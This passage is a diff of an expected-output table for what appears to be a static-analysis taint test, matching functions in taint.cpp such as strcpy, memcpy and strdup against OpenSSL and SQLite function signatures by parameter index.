ossl_toupper | 0 | -| taint.cpp:23:5:23:8 | zero | (int) | | pulldown_test_framework | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | sqlite3_errstr | 0 | -| taint.cpp:23:5:23:8 | zero | (int) | | tls1_alert_code | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | tls13_alert_code | 0 | -| taint.cpp:23:5:23:8 | zero | (int) | | wait_until_sock_readable | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_STRING_type_new | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_tag2bit | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_tag2str | 0 | @@ -6588,12 +6422,9 @@ signatureMatches | taint.cpp:100:6:100:15 | array_test | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | ossl_tolower | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | ossl_toupper | 0 | -| taint.cpp:100:6:100:15 | array_test | (int) | | pulldown_test_framework | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | sqlite3_errstr | 0 | -| taint.cpp:100:6:100:15 | array_test | (int) | | tls1_alert_code | 0 | | taint.cpp:100:6:100:15 | array_test | (int) | | tls13_alert_code | 0 | -| taint.cpp:100:6:100:15 | array_test | (int) | | wait_until_sock_readable | 0 | | taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 1 | | taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | | taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | @@ -6705,9 +6536,7 @@ signatureMatches | taint.cpp:142:5:142:10 | select | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | | taint.cpp:142:5:142:10 | select | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | | taint.cpp:142:5:142:10 | select | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | -| taint.cpp:142:5:142:10 | select | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | | taint.cpp:142:5:142:10 | select | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | -| taint.cpp:142:5:142:10 | select | (SSL *,SSL *,int) | | create_ssl_connection | 2 | | taint.cpp:142:5:142:10 | select | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | | taint.cpp:142:5:142:10 | select | (SSL *,const void *,int) | | SSL_write | 2 | | taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_peek | 2 | @@ -6800,7 +6629,6 @@ signatureMatches | taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 1 | | taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | | taint.cpp:142:5:142:10 | select | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | -| taint.cpp:142:5:142:10 | select | (const char *,SD *,int) | | sd_load | 2 | | taint.cpp:142:5:142:10 | select | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | | taint.cpp:142:5:142:10 | select | (const char *,const char *,int) | | CRYPTO_strdup | 2 | | taint.cpp:142:5:142:10 | select | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | @@ -6885,12 +6713,9 @@ signatureMatches | taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_tolower | 0 | | taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_toupper | 0 | -| taint.cpp:150:6:150:12 | fn_test | (int) | | pulldown_test_framework | 0 | | taint.cpp:150:6:150:12 | fn_test | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:150:6:150:12 | fn_test | (int) | | sqlite3_errstr | 0 | -| taint.cpp:150:6:150:12 | fn_test | (int) | | tls1_alert_code | 0 | | taint.cpp:150:6:150:12 | fn_test | (int) | | tls13_alert_code | 0 | -| taint.cpp:150:6:150:12 | fn_test | (int) | | wait_until_sock_readable | 0 | | taint.cpp:156:7:156:12 | strcpy | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | | taint.cpp:156:7:156:12 | strcpy | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | | taint.cpp:156:7:156:12 | strcpy | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | @@ -6962,7 +6787,6 @@ signatureMatches | taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:156:7:156:12 | strcpy | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:156:7:156:12 | strcpy | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -6981,7 +6805,6 @@ signatureMatches | taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | ossl_v3_name_cmp | 1 | | taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:156:7:156:12 | strcpy | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:156:7:156:12 | strcpy | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:156:7:156:12 | strcpy | (size_t *,const char *) | | next_protos_parse | 1 | @@ -7066,7 +6889,6 @@ signatureMatches | taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:157:7:157:12 | strcat | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:157:7:157:12 | strcat | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -7085,7 +6907,6 @@ signatureMatches | taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | ossl_v3_name_cmp | 1 | | taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:157:7:157:12 | strcat | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:157:7:157:12 | strcat | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:157:7:157:12 | strcat | (size_t *,const char *) | | next_protos_parse | 1 | @@ -7202,9 +7023,7 @@ signatureMatches | taint.cpp:190:7:190:12 | memcpy | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | | taint.cpp:190:7:190:12 | memcpy | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | | taint.cpp:190:7:190:12 | memcpy | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | -| taint.cpp:190:7:190:12 | memcpy | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | | taint.cpp:190:7:190:12 | memcpy | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | -| taint.cpp:190:7:190:12 | memcpy | (SSL *,SSL *,int) | | create_ssl_connection | 2 | | taint.cpp:190:7:190:12 | memcpy | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | | taint.cpp:190:7:190:12 | memcpy | (SSL *,const void *,int) | | SSL_write | 2 | | taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_peek | 1 | @@ -7279,7 +7098,6 @@ signatureMatches | taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | | taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | | taint.cpp:190:7:190:12 | memcpy | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | -| taint.cpp:190:7:190:12 | memcpy | (const char *,SD *,int) | | sd_load | 2 | | taint.cpp:190:7:190:12 | memcpy | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | | taint.cpp:190:7:190:12 | memcpy | (const char *,const char *,int) | | CRYPTO_strdup | 2 | | taint.cpp:190:7:190:12 | memcpy | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | @@ -7934,12 +7752,9 @@ signatureMatches | taint.cpp:266:5:266:6 | id | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:266:5:266:6 | id | (int) | | ossl_tolower | 0 | | taint.cpp:266:5:266:6 | id | (int) | | ossl_toupper | 0 | -| taint.cpp:266:5:266:6 | id | (int) | | pulldown_test_framework | 0 | | taint.cpp:266:5:266:6 | id | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:266:5:266:6 | id | (int) | | sqlite3_errstr | 0 | -| taint.cpp:266:5:266:6 | id | (int) | | tls1_alert_code | 0 | | taint.cpp:266:5:266:6 | id | (int) | | tls13_alert_code | 0 | -| taint.cpp:266:5:266:6 | id | (int) | | wait_until_sock_readable | 0 | | taint.cpp:302:6:302:14 | myAssign2 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_clear_bit | 1 | @@ -8822,7 +8637,6 @@ signatureMatches | taint.cpp:361:7:361:12 | strdup | (const char *) | | X509_LOOKUP_meth_new | 0 | | taint.cpp:361:7:361:12 | strdup | (const char *) | | a2i_IPADDRESS | 0 | | taint.cpp:361:7:361:12 | strdup | (const char *) | | a2i_IPADDRESS_NC | 0 | -| taint.cpp:361:7:361:12 | strdup | (const char *) | | new_pkcs12_builder | 0 | | taint.cpp:361:7:361:12 | strdup | (const char *) | | opt_path_end | 0 | | taint.cpp:361:7:361:12 | strdup | (const char *) | | opt_progname | 0 | | taint.cpp:361:7:361:12 | strdup | (const char *) | | ossl_lh_strcasehash | 0 | @@ -8859,10 +8673,6 @@ signatureMatches | taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | | taint.cpp:362:7:362:13 | strndup | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | | taint.cpp:362:7:362:13 | strndup | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | -| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | -| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | -| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | -| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | | taint.cpp:362:7:362:13 | strndup | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | | taint.cpp:362:7:362:13 | strndup | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | | taint.cpp:362:7:362:13 | strndup | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | @@ -8873,7 +8683,6 @@ signatureMatches | taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_block_padding | 1 | | taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | | taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_num_tickets | 1 | -| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | create_a_psk | 1 | | taint.cpp:362:7:362:13 | strndup | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | | taint.cpp:362:7:362:13 | strndup | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | | taint.cpp:362:7:362:13 | strndup | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | @@ -8910,7 +8719,6 @@ signatureMatches | taint.cpp:364:7:364:13 | strdupa | (const char *) | | X509_LOOKUP_meth_new | 0 | | taint.cpp:364:7:364:13 | strdupa | (const char *) | | a2i_IPADDRESS | 0 | | taint.cpp:364:7:364:13 | strdupa | (const char *) | | a2i_IPADDRESS_NC | 0 | -| taint.cpp:364:7:364:13 | strdupa | (const char *) | | new_pkcs12_builder | 0 | | taint.cpp:364:7:364:13 | strdupa | (const char *) | | opt_path_end | 0 | | taint.cpp:364:7:364:13 | strdupa | (const char *) | | opt_progname | 0 | | taint.cpp:364:7:364:13 | strdupa | (const char *) | | ossl_lh_strcasehash | 0 | @@ -8947,10 +8755,6 @@ signatureMatches | taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | | taint.cpp:365:7:365:14 | strndupa | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | | taint.cpp:365:7:365:14 | strndupa | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | -| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | -| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | -| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | -| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | | taint.cpp:365:7:365:14 | strndupa | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | | taint.cpp:365:7:365:14 | strndupa | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | | taint.cpp:365:7:365:14 | strndupa | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | @@ -8961,7 +8765,6 @@ signatureMatches | taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_block_padding | 1 | | taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | | taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_num_tickets | 1 | -| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | create_a_psk | 1 | | taint.cpp:365:7:365:14 | strndupa | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | | taint.cpp:365:7:365:14 | strndupa | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | | taint.cpp:365:7:365:14 | strndupa | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | @@ -9014,12 +8817,9 @@ signatureMatches | taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_tolower | 0 | | taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_toupper | 0 | -| taint.cpp:379:6:379:17 | test_strndup | (int) | | pulldown_test_framework | 0 | | taint.cpp:379:6:379:17 | test_strndup | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:379:6:379:17 | test_strndup | (int) | | sqlite3_errstr | 0 | -| taint.cpp:379:6:379:17 | test_strndup | (int) | | tls1_alert_code | 0 | | taint.cpp:379:6:379:17 | test_strndup | (int) | | tls13_alert_code | 0 | -| taint.cpp:379:6:379:17 | test_strndup | (int) | | wait_until_sock_readable | 0 | | taint.cpp:387:6:387:16 | test_wcsdup | (wchar_t *) | CStringT | CStringT | 0 | | taint.cpp:397:6:397:17 | test_strdupa | (char *) | | SRP_VBASE_new | 0 | | taint.cpp:397:6:397:17 | test_strdupa | (char *) | | defossilize | 0 | @@ -9048,12 +8848,9 @@ signatureMatches | taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_tolower | 0 | | taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_toupper | 0 | -| taint.cpp:409:6:409:18 | test_strndupa | (int) | | pulldown_test_framework | 0 | | taint.cpp:409:6:409:18 | test_strndupa | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:409:6:409:18 | test_strndupa | (int) | | sqlite3_errstr | 0 | -| taint.cpp:409:6:409:18 | test_strndupa | (int) | | tls1_alert_code | 0 | | taint.cpp:409:6:409:18 | test_strndupa | (int) | | tls13_alert_code | 0 | -| taint.cpp:409:6:409:18 | test_strndupa | (int) | | wait_until_sock_readable | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_STRING_type_new | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_tag2bit | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_tag2str | 0 | @@ -9076,12 +8873,9 @@ signatureMatches | taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_tolower | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_toupper | 0 | -| taint.cpp:421:2:421:9 | MyClass2 | (int) | | pulldown_test_framework | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | sqlite3_errstr | 0 | -| taint.cpp:421:2:421:9 | MyClass2 | (int) | | tls1_alert_code | 0 | | taint.cpp:421:2:421:9 | MyClass2 | (int) | | tls13_alert_code | 0 | -| taint.cpp:421:2:421:9 | MyClass2 | (int) | | wait_until_sock_readable | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_STRING_type_new | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_tag2bit | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_tag2str | 0 | @@ -9104,12 +8898,9 @@ signatureMatches | taint.cpp:422:7:422:15 | setMember | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | ossl_tolower | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | ossl_toupper | 0 | -| taint.cpp:422:7:422:15 | setMember | (int) | | pulldown_test_framework | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | sqlite3_errstr | 0 | -| taint.cpp:422:7:422:15 | setMember | (int) | | tls1_alert_code | 0 | | taint.cpp:422:7:422:15 | setMember | (int) | | tls13_alert_code | 0 | -| taint.cpp:422:7:422:15 | setMember | (int) | | wait_until_sock_readable | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | BIO_gethostbyname | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Jim_StrDup | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | OPENSSL_LH_strhash | 0 | @@ -9121,7 +8912,6 @@ signatureMatches | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | X509_LOOKUP_meth_new | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | a2i_IPADDRESS | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | a2i_IPADDRESS_NC | 0 | -| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | new_pkcs12_builder | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | opt_path_end | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | opt_progname | 0 | | taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | ossl_lh_strcasehash | 0 | @@ -9137,7 +8927,6 @@ signatureMatches | taint.cpp:431:7:431:15 | setString | (const char *) | | X509_LOOKUP_meth_new | 0 | | taint.cpp:431:7:431:15 | setString | (const char *) | | a2i_IPADDRESS | 0 | | taint.cpp:431:7:431:15 | setString | (const char *) | | a2i_IPADDRESS_NC | 0 | -| taint.cpp:431:7:431:15 | setString | (const char *) | | new_pkcs12_builder | 0 | | taint.cpp:431:7:431:15 | setString | (const char *) | | opt_path_end | 0 | | taint.cpp:431:7:431:15 | setString | (const char *) | | opt_progname | 0 | | taint.cpp:431:7:431:15 | setString | (const char *) | | ossl_lh_strcasehash | 0 | @@ -9213,7 +9002,6 @@ signatureMatches | taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:512:7:512:12 | strtok | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:512:7:512:12 | strtok | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -9232,7 +9020,6 @@ signatureMatches | taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | ossl_v3_name_cmp | 1 | | taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:512:7:512:12 | strtok | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:512:7:512:12 | strtok | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:512:7:512:12 | strtok | (size_t *,const char *) | | next_protos_parse | 1 | @@ -9612,7 +9399,6 @@ signatureMatches | taint.cpp:538:7:538:13 | mempcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | | taint.cpp:538:7:538:13 | mempcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | | taint.cpp:538:7:538:13 | mempcpy | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | -| taint.cpp:538:7:538:13 | mempcpy | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | | taint.cpp:538:7:538:13 | mempcpy | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | | taint.cpp:538:7:538:13 | mempcpy | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | | taint.cpp:538:7:538:13 | mempcpy | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | @@ -9843,7 +9629,6 @@ signatureMatches | taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:558:7:558:12 | strcat | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:558:7:558:12 | strcat | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -9862,7 +9647,6 @@ signatureMatches | taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | ossl_v3_name_cmp | 1 | | taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:558:7:558:12 | strcat | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:558:7:558:12 | strcat | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:558:7:558:12 | strcat | (size_t *,const char *) | | next_protos_parse | 1 | @@ -9988,7 +9772,6 @@ signatureMatches | taint.cpp:572:6:572:20 | test__mbsncat_l | (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 5 | | taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 5 | | taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 5 | -| taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 5 | | taint.cpp:572:6:572:20 | test__mbsncat_l | (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 5 | | taint.cpp:572:6:572:20 | test__mbsncat_l | (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 5 | | taint.cpp:572:6:572:20 | test__mbsncat_l | (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 5 | @@ -10081,7 +9864,6 @@ signatureMatches | taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:589:7:589:12 | strsep | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:589:7:589:12 | strsep | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -10100,7 +9882,6 @@ signatureMatches | taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | ossl_v3_name_cmp | 1 | | taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:589:7:589:12 | strsep | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:589:7:589:12 | strsep | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:589:7:589:12 | strsep | (size_t *,const char *) | | next_protos_parse | 1 | @@ -10135,7 +9916,6 @@ signatureMatches | taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 1 | | taint.cpp:602:7:602:13 | _strinc | (Jim_Stack *,void *) | | Jim_StackPush | 1 | | taint.cpp:602:7:602:13 | _strinc | (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 1 | -| taint.cpp:602:7:602:13 | _strinc | (OSSL_CALLBACK *,void *) | | OSSL_SELF_TEST_new | 1 | | taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 1 | | taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 1 | | taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 1 | @@ -10206,7 +9986,6 @@ signatureMatches | taint.cpp:645:14:645:22 | _strnextc | (const char *) | | X509_LOOKUP_meth_new | 0 | | taint.cpp:645:14:645:22 | _strnextc | (const char *) | | a2i_IPADDRESS | 0 | | taint.cpp:645:14:645:22 | _strnextc | (const char *) | | a2i_IPADDRESS_NC | 0 | -| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | new_pkcs12_builder | 0 | | taint.cpp:645:14:645:22 | _strnextc | (const char *) | | opt_path_end | 0 | | 